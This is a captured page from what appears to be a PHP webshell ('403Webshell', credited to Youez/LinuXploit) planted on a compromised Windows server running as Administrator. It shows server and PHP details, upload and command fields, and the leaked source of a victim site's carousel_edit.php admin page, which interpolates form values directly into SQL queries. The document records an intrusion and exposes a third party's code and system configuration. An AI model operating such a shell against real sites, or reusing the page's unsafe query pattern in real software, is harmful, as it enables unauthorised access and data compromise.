403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/bpkd_/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/bpkd_/admin/carousel_edit.php
<?php
/**
 * File: admin/carousel_edit.php
 * Halaman Edit Slide Carousel (Alternatif jika tidak pakai modal)
 */

$page_title = 'Edit Slide Carousel';

require_once 'config/database.php';
require_once '../includes/config.php'; // Load BASE_URL
require_once 'includes/init.php';

requireLogin();

$id = isset($_GET['id']) ? (int)$_GET['id'] : 0;

if ($id <= 0) {
    redirect(BASE_URL . '/admin/carousel.php');
}

$slide = $conn->query("SELECT * FROM carousel WHERE id = $id")->fetch_assoc();

if (!$slide) {
    redirect(BASE_URL . '/admin/carousel.php');
}

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $title = sanitize($_POST['title']);
    $subtitle = sanitize($_POST['subtitle'] ?? '');
    $description = sanitize($_POST['description'] ?? '');
    $button_text = sanitize($_POST['button_text'] ?? '');
    $button_link = sanitize($_POST['button_link'] ?? '');
    $button_text_2 = sanitize($_POST['button_text_2'] ?? '');
    $button_link_2 = sanitize($_POST['button_link_2'] ?? '');
    $status = sanitize($_POST['status'] ?? 'active');
    $slide_order = (int)($_POST['slide_order'] ?? 0);
    
    $image = $slide['image'];
    $image_mobile = $slide['image_mobile'];
    
    // Upload gambar desktop
    if (isset($_FILES['image']) && $_FILES['image']['error'] == 0) {
        $target_dir = dirname(__DIR__) . "/uploads/carousel/";
        $file_ext = strtolower(pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION));
        $allowed = ['jpg', 'jpeg', 'png', 'gif', 'webp'];
        
        if (in_array($file_ext, $allowed) && $_FILES['image']['size'] <= 2 * 1024 * 1024) {
            $image_name = time() . '_' . uniqid() . '.' . $file_ext;
            $target_file = $target_dir . $image_name;
            
            if (move_uploaded_file($_FILES['image']['tmp_name'], $target_file)) {
                $old_file = dirname(__DIR__) . "/" . $slide['image'];
                if (!empty($slide['image']) && file_exists($old_file)) {
                    unlink($old_file);
                }
                $image = 'uploads/carousel/' . $image_name;
            }
        }
    }
    
    // Upload gambar mobile
    if (isset($_FILES['image_mobile']) && $_FILES['image_mobile']['error'] == 0) {
        $target_dir = dirname(__DIR__) . "/uploads/carousel/";
        $file_ext = strtolower(pathinfo($_FILES['image_mobile']['name'], PATHINFO_EXTENSION));
        $allowed = ['jpg', 'jpeg', 'png', 'gif', 'webp'];
        
        if (in_array($file_ext, $allowed) && $_FILES['image_mobile']['size'] <= 2 * 1024 * 1024) {
            $image_name = 'mobile_' . time() . '_' . uniqid() . '.' . $file_ext;
            $target_file = $target_dir . $image_name;
            
            if (move_uploaded_file($_FILES['image_mobile']['tmp_name'], $target_file)) {
                $old_file = dirname(__DIR__) . "/" . $slide['image_mobile'];
                if (!empty($slide['image_mobile']) && file_exists($old_file)) {
                    unlink($old_file);
                }
                $image_mobile = 'uploads/carousel/' . $image_name;
            }
        }
    }
    
    $query = "UPDATE carousel SET 
              title = '$title', 
              subtitle = '$subtitle', 
              description = '$description', 
              image = '$image', 
              image_mobile = '$image_mobile', 
              button_text = '$button_text', 
              button_link = '$button_link', 
              button_text_2 = '$button_text_2', 
              button_link_2 = '$button_link_2', 
              status = '$status', 
              slide_order = $slide_order 
              WHERE id = $id";
    
    if ($conn->query($query)) {
        redirect(BASE_URL . '/admin/carousel.php?msg=updated');
    } else {
        $error = "Error: " . $conn->error;
    }
}

include 'includes/header.php';
?>

<!-- Form edit slide (sederhana) -->
<div class="container-fluid">
    <div class="d-sm-flex align-items-center justify-content-between mb-4">
        <h1 class="h3 mb-0 text-gray-800">Edit Slide Carousel</h1>
        <a href="<?php echo BASE_URL; ?>/admin/carousel.php" class="btn btn-secondary">
            <i class="fas fa-arrow-left me-2"></i> Kembali
        </a>
    </div>
    
    <div class="card shadow">
        <div class="card-body">
            <form method="POST" enctype="multipart/form-data">
                <!-- form fields sama seperti di modal -->
            </form>
        </div>
    </div>
</div>

<?php require_once 'includes/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit